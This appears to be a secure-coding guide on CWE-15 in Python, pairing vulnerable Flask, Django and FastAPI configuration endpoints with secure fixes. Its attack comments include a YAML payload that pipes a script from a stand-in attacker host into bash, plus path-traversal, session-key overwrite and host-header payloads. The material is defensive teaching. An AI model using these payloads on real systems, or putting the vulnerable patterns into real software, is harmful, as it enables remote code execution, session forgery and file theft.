Skip to content

CWE-15: External Control of System or Configuration Setting - Python

Overview

External control of configuration in Python applications occurs when HTTP request parameters, form data, headers, or query strings are used to directly modify os.environ, application config dictionaries, logging configuration, or framework settings at runtime. Attackers can exploit this to silence security logging, point external service endpoints at attacker-controlled servers, overwrite the key that session cookies are signed with, or relax host and cookie trust settings.

Common Python Configuration Injection Scenarios:

  • os.environ[key] = request.form['value'] - modifies process environment from a request
  • app.config[request.args['key']] = request.args['value'] - Flask config poisoning
  • logging.getLogger().setLevel(request.args.get('level')) - log level control from request
  • setattr(django.conf.settings, key, value) - Django settings mutation

Where Each Framework Keeps Its Configuration:

  • Flask: app.config dictionary
  • Django: django.conf.settings module
  • FastAPI: Pydantic BaseSettings configuration

Primary Defence: Load all configuration at application startup using Pydantic BaseSettings, Flask Config classes, or Django settings files - all driven from environment variables or config files, never HTTP request parameters. Any runtime configuration endpoint must require admin authorization and constrain values to an explicit allowlist.

Common Vulnerable Patterns

os.environ Modified from Request

# VULNERABLE - Environment variable set from HTTP request
import os
from flask import Flask, request

app = Flask(__name__)

@app.route('/config/env', methods=['POST'])
def set_env():
    key = request.form.get('key')
    value = request.form.get('value')
    os.environ[key] = value  # Attacker sets PATH, PYTHONPATH, DB_URL, etc.
    return "Updated"

# Attack example:
# POST /config/env with key=DISABLE_AUTH&value=1
# Result: If the app reads DISABLE_AUTH anywhere, security can be bypassed

Why this is vulnerable: os.environ modifications affect the entire process. Attackers can override security-related environment variables (database URLs, secret keys, feature flags, external service endpoints) that other parts of the application read at startup or runtime.

Flask app.config Dictionary Poisoning

# VULNERABLE - Arbitrary Flask config key set from request
from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route('/admin/config', methods=['POST'])
def update_config():
    key = request.json.get('key')
    value = request.json.get('value')
    app.config[key] = value  # Attacker sets SECRET_KEY, DEBUG, SESSION_COOKIE_SECURE, etc.
    return jsonify({'status': 'updated'})

# Attack example:
# POST /admin/config {"key": "SECRET_KEY", "value": "known_value"}
# Result: the session cookie is signed and verified with this value on every request,
# so the attacker can now mint a session cookie for any user
# POST /admin/config {"key": "SESSION_COOKIE_SECURE", "value": false}
# Result: session cookies are issued without Secure and travel over plain HTTP

Why this is vulnerable: Flask's app.config holds security-critical settings and most of them are consulted per request, so a write takes effect immediately. SECRET_KEY is read when the session cookie is signed and when it is verified, which makes overwriting it a direct session-forgery primitive. SESSION_COOKIE_SECURE, SESSION_COOKIE_HTTPONLY and SESSION_COOKIE_SAMESITE are read when the cookie is set. PERMANENT_SESSION_LIFETIME is read when it is validated.

DEBUG is the one usually reached for and it is the one that does not do what the name suggests here. Setting it on a running app makes handle_exception re-raise instead of returning the 500 page, but the interactive debugger is middleware installed when the server starts, so on an already-running app the exception simply escapes into the WSGI server - which under a production server means a bare 500, not a traceback. It is a real integrity problem and worth fixing; it is not the information disclosure it is usually written up as.

Log Level Set from Request Parameter

# VULNERABLE - Logging level set from query parameter
import logging
from flask import Flask, request

app = Flask(__name__)

@app.route('/debug/log-level')
def set_log_level():
    level = request.args.get('level', 'INFO')
    logging.getLogger().setLevel(level)  # Attacker sets DEBUG or NOTSET
    return f"Log level set to {level}"

# Attack example:
# GET /debug/log-level?level=DEBUG
# Result: Passwords, tokens, PII now written to application logs
# GET /debug/log-level?level=CRITICAL
# Result: All auth failures and access events silenced

Why this is vulnerable: setLevel() takes any registered level name - DEBUG, INFO, WARNING, ERROR, CRITICAL, NOTSET - or any integer, and raises ValueError: Unknown level on anything else, so the attacker is choosing from a menu rather than supplying free text. That menu is enough. DEBUG puts internal state into the log: HTTP headers, database query parameters, and whatever the application passes to logger.debug(). NOTSET on the root logger means level 0, which is more permissive still. CRITICAL drops authentication failures and access records, so an attacker can set it, work, and set it back. Because this is the root logger, the change applies to every module in the process, not just the one that handled the request.

Django Settings Mutation at Runtime

# VULNERABLE - Django settings modified via request parameters
from django.conf import settings
from django.http import JsonResponse

def update_settings(request):
    key = request.POST.get('key')
    value = request.POST.get('value')
    setattr(settings, key, value)  # Attacker modifies any Django setting
    return JsonResponse({'status': 'ok'})

# Attack example:
# POST key=ALLOWED_HOSTS&value=*
# Result: get_host() iterates the string, finds the pattern "*", and accepts any Host
# header - password-reset links can now be pointed at an attacker's domain
# POST key=SESSION_COOKIE_HTTPONLY&value=
# Result: the empty string is falsy, so session cookies are issued without HttpOnly

Why this is vulnerable: django.conf.settings is a process-wide object and setattr() on it takes effect for every request that follows. Settings consulted per request change behaviour immediately - ALLOWED_HOSTS in HttpRequest.get_host(), SECRET_KEY wherever a signature is produced or checked, SESSION_COOKIE_* when the cookie is written.

The type of the submitted value decides whether the attack lands, which is easy to get wrong in a write-up. request.POST yields strings, so a boolean setting cannot be turned off by sending False: the string "False" is truthy and SESSION_COOKIE_HTTPONLY stays on. Sending an empty value works, because "" is falsy. The mirror image applies to list-valued settings - ALLOWED_HOSTS = "*" is a string rather than a list, and it happens to work only because get_host() iterates it and the one character it yields is the wildcard pattern. Check what the setting is compared against before deciding a given payload is exploitable.

Secure Patterns

Pydantic BaseSettings with Validators (PREFERRED)

# SECURE - Immutable startup config validated by Pydantic
from pydantic import Field, field_validator
from pydantic_settings import BaseSettings, SettingsConfigDict
from typing import Literal

class AppSettings(BaseSettings):
    log_level: Literal["INFO", "WARN", "ERROR"] = "INFO"
    session_timeout_minutes: int = Field(default=30, ge=1, le=120)
    allowed_origins: str = "https://example.com"
    debug: bool = False

    @field_validator("allowed_origins")
    @classmethod
    def must_be_https(cls, v: str) -> str:
        if not v.startswith("https://"):
            raise ValueError("allowed_origins must be an https:// origin")
        return v

    model_config = SettingsConfigDict(
        env_file=".env",
        frozen=True,       # Immutable after construction
        extra="forbid",    # An unrecognised key in .env fails startup instead of being ignored
    )

# Loaded once at startup - no HTTP request can change these values
settings = AppSettings()

Why this works: frozen=True makes the settings object immutable - settings.log_level = "DEBUG" raises ValidationError rather than succeeding. Literal["INFO", "WARN", "ERROR"] is a type-enforced allowlist, so a bad value in the environment fails at construction, which happens during startup and takes the process down visibly instead of degrading it quietly. Field(ge=1, le=120) expresses a numeric bound without a validator at all; @field_validator is for the checks a type cannot express. Configuration comes only from environment variables and .env, never from a request.

Use @field_validator, not the @validator decorator - the latter is the Pydantic v1 spelling, still accepted in v2 with a deprecation warning and scheduled for removal in v3.

Allowlist-Validated Runtime Log Level Change (Flask)

# SECURE - Admin-only endpoint with strict allowlist
import logging
from functools import wraps
from flask import Flask, request, jsonify, g

app = Flask(__name__)

ALLOWED_LOG_LEVELS = {"INFO", "WARN", "WARNING", "ERROR"}

def admin_required(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        if not getattr(g, 'user', None) or not g.user.is_admin:
            return jsonify({'error': 'Admin access required'}), 403
        return f(*args, **kwargs)
    return decorated

@app.route('/admin/log-level', methods=['POST'])
@admin_required
def set_log_level():
    level = request.json.get('level', '').upper()
    if level not in ALLOWED_LOG_LEVELS:
        return jsonify({'error': f'Invalid level. Allowed: {sorted(ALLOWED_LOG_LEVELS)}'}), 400

    logging.getLogger().setLevel(level)
    app.logger.info("Log level changed to %s by admin %s", level, g.user.username)
    return jsonify({'status': 'updated', 'level': level})

Why this works: The ALLOWED_LOG_LEVELS set acts as a server-side allowlist - DEBUG and NOTSET, which put internal state into the log, and CRITICAL, which drops authentication failures and access records, are rejected before reaching setLevel(). The admin_required decorator enforces that only authenticated admin users can reach this endpoint. All changes are audit-logged with the admin's username.

Enum-Based Configuration Selection (FastAPI)

# SECURE - FastAPI rejects values not in the enum automatically
from enum import Enum
import logging
from fastapi import FastAPI, Depends, HTTPException
from fastapi.security import OAuth2PasswordBearer

app = FastAPI()
oauth2_scheme = OAuth2PasswordBearer(tokenUrl="token")

class LogLevel(str, Enum):
    info = "INFO"
    warn = "WARN"
    error = "ERROR"

def require_admin(token: str = Depends(oauth2_scheme)):
    user = verify_token(token)  # Your token verification logic
    if not user.is_admin:
        raise HTTPException(status_code=403, detail="Admin access required")
    return user

@app.post("/admin/log-level")
def set_log_level(level: LogLevel, admin=Depends(require_admin)):
    # FastAPI returns 422 for any value not in LogLevel before this runs
    logging.getLogger().setLevel(level.value)
    return {"status": "updated", "level": level}

Why this works: FastAPI uses the LogLevel enum for automatic request validation - requests with unlisted values receive 422 Unprocessable Entity before the handler runs. The Depends(require_admin) dependency enforces admin authorization as a prerequisite. The enum definition is the single source of truth for allowed values.

Django Admin Config Endpoint with Allowlist

# SECURE - Django view with allowlist and staff-only auth
import logging
from django.contrib.admin.views.decorators import staff_member_required
from django.http import JsonResponse
from django.views.decorators.http import require_POST

ALLOWED_CONFIG = {
    "log_level": {"INFO", "WARN", "ERROR"},
    "feature_beta": {"true", "false"},
}

@require_POST
@staff_member_required
def update_config(request):
    key = request.POST.get("key", "")
    value = request.POST.get("value", "")

    allowed_values = ALLOWED_CONFIG.get(key)
    if allowed_values is None:
        return JsonResponse({"error": "Unknown configuration key"}, status=400)

    if value not in allowed_values:
        return JsonResponse({"error": f"Invalid value. Allowed: {sorted(allowed_values)}"}, status=400)

    config_service.apply(key, value)
    logging.getLogger(__name__).info(
        "Config '%s' changed to '%s' by %s", key, value, request.user.username
    )
    return JsonResponse({"status": "updated"})

Why this works: ALLOWED_CONFIG double-gates input - first validating the key name is a known settable field (preventing modification of undeclared settings like SECRET_KEY), then validating the value against that field's specific set. @staff_member_required blocks non-staff users at the decorator level. @require_POST prevents CSRF-style GET-based config changes.

Testing

Verify the fix by testing:

  • Allowlist bypass: Submit a value outside the defined allowlist - expect 400 rejection
  • Unknown key injection: Attempt to set SECRET_KEY, DEBUG, or other unlisted keys - expect 400
  • Direct os.environ manipulation: Verify no endpoint accepts arbitrary environment variable names
  • Authorization bypass: Call config endpoints while unauthenticated or with a non-admin account - expect 401/403
  • Django settings mutation: Attempt setattr(settings, ...) equivalent via any API endpoint - must fail

Untrusted Configuration Sources

A related attack vector occurs when the application loads configuration from a location that untrusted input controls.

Config File Loaded from User-Supplied Path (Vulnerable)

# VULNERABLE - Config file path comes from request parameter
import configparser
from flask import Flask, request

app = Flask(__name__)

@app.route('/admin/load-config', methods=['POST'])
def load_config():
    config_path = request.form.get('path')
    config = configparser.ConfigParser()
    config.read(config_path)  # Attack: path = "../../instance/production.ini"
    apply_config(config)
    return 'Loaded'

# Attack example:
# POST /admin/load-config path=../../instance/production.ini
# Result: another environment's INI - database DSN, API keys - parsed and applied
# POST /admin/load-config path=/etc/passwd
# Result: MissingSectionHeaderError whose message quotes line 1 of the file; if the
# handler returns the exception text, that is a read primitive for any readable file

Why this is vulnerable: configparser.read() accepts any path, follows ../ traversal, and silently ignores a file that does not exist - so probing for paths is free and produces no error to alert anyone. What it does not do is parse arbitrary files: a file with no [section] header raises MissingSectionHeaderError, so /etc/passwd does not quietly become configuration. The exposure is in two other places. Any INI or .cfg the process can read - another tenant's config, a setup.cfg, an instance/ override holding production credentials - parses cleanly and is applied. And the parse errors are quoting: MissingSectionHeaderError embeds the offending line in its message, so an endpoint that returns the exception text hands back file contents one line at a time.

Config File Loaded from User-Supplied Path (Secure)

# SECURE - Only a fixed set of filenames are accepted; path is never from user input
import configparser
from pathlib import Path
from flask import Flask, g, request, jsonify
from functools import wraps

app = Flask(__name__)

CONFIG_DIR = Path('/var/app/configs').resolve()
ALLOWED_FILENAMES = frozenset({'feature-flags.ini', 'rate-limits.ini'})

def admin_required(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        if not getattr(g, 'user', None) or not g.user.is_admin:
            return jsonify({'error': 'Admin access required'}), 403
        return f(*args, **kwargs)
    return decorated

@app.route('/admin/load-config', methods=['POST'])
@admin_required
def load_config():
    filename = request.form.get('filename', '')

    if filename not in ALLOWED_FILENAMES:
        return jsonify({'error': 'Unknown config file'}), 400

    # Resolve within trusted directory and verify no traversal
    resolved = (CONFIG_DIR / filename).resolve()
    if not resolved.is_relative_to(CONFIG_DIR):
        return jsonify({'error': 'Invalid path'}), 400

    config = configparser.ConfigParser()
    config.read(resolved)
    config_service.apply_allowlisted(config)
    app.logger.info('Config file %s loaded by admin %s', filename, g.user.id)
    return jsonify({'status': 'loaded'})

Why this works: ALLOWED_FILENAMES is an explicit set - any filename not in it is rejected before a path is even constructed. resolve() collapses .. and symlinks, and is_relative_to() then compares path components, so a sibling directory such as /var/app/configs-backup cannot pass; a str(...).startswith(...) check on the same paths would let it through, which is why the comparison is done on Path objects rather than strings. Only known-safe keys from the file are applied, so attacker-crafted file contents cannot introduce unexpected settings.

YAML Config Loaded from Uploaded File (Vulnerable)

# VULNERABLE - Unsafe YAML loading from user-uploaded file
import yaml
from flask import request

@app.route('/admin/upload-config', methods=['POST'])
def upload_config():
    f = request.files.get('config')
    data = yaml.load(f.read(), Loader=yaml.Loader)  # VULNERABLE - allows arbitrary Python object creation
    apply_config(data)
    return 'Applied'

# Attack: upload a YAML file containing:
# !!python/object/apply:os.system ['curl http://attacker.com/shell | bash']
# Result: Remote code execution during yaml.load()

Why this is vulnerable: yaml.Loader and yaml.UnsafeLoader construct arbitrary Python objects from tags such as !!python/object/apply, which reaches os.system, subprocess.Popen and eval - so an attacker who can upload a YAML file gets remote code execution during the parse, before any validation the application does afterwards. yaml.FullLoader blocks that tag and yaml.SafeLoader blocks every Python tag. Under PyYAML 6 the Loader argument is mandatory, so the historically dangerous bare yaml.load(data) now raises TypeError rather than defaulting to the unsafe loader; code carried over from PyYAML 3 was updated by adding Loader=yaml.Loader, which is how this pattern usually arrives in a modern codebase.

YAML Config Loaded from Uploaded File (Secure)

# SECURE - Use safe_load and validate the resulting structure
import yaml
from jsonschema import validate, ValidationError
from flask import request, jsonify, g
# The role decorator from the section above, as its own module
from auth_decorators import admin_required

CONFIG_SCHEMA = {
    'type': 'object',
    'additionalProperties': False,
    'properties': {
        'log_level':   {'type': 'string', 'enum': ['INFO', 'WARN', 'ERROR']},
        'timeout_sec': {'type': 'integer', 'minimum': 1, 'maximum': 120},
    }
}

@app.route('/admin/upload-config', methods=['POST'])
@admin_required
def upload_config():
    f = request.files.get('config')
    if not f:
        return jsonify({'error': 'No file provided'}), 400

    try:
        # safe_load only handles basic YAML types - no Python object tags
        data = yaml.safe_load(f.read())
    except yaml.YAMLError as exc:
        return jsonify({'error': f'Invalid YAML: {exc}'}), 400

    try:
        validate(instance=data, schema=CONFIG_SCHEMA)
    except ValidationError as exc:
        return jsonify({'error': f'Schema violation: {exc.message}'}), 400

    config_service.apply(data)
    app.logger.info('Config uploaded by admin %s', g.user.id)
    return jsonify({'status': 'applied'})

Why this works: yaml.safe_load() only produces standard Python types (dicts, lists, strings, numbers) - it refuses to deserialize Python object tags, preventing code execution. The JSON Schema validates that only the expected keys with expected types and value ranges are present; unexpected keys are rejected by additionalProperties: False.

Additional Resources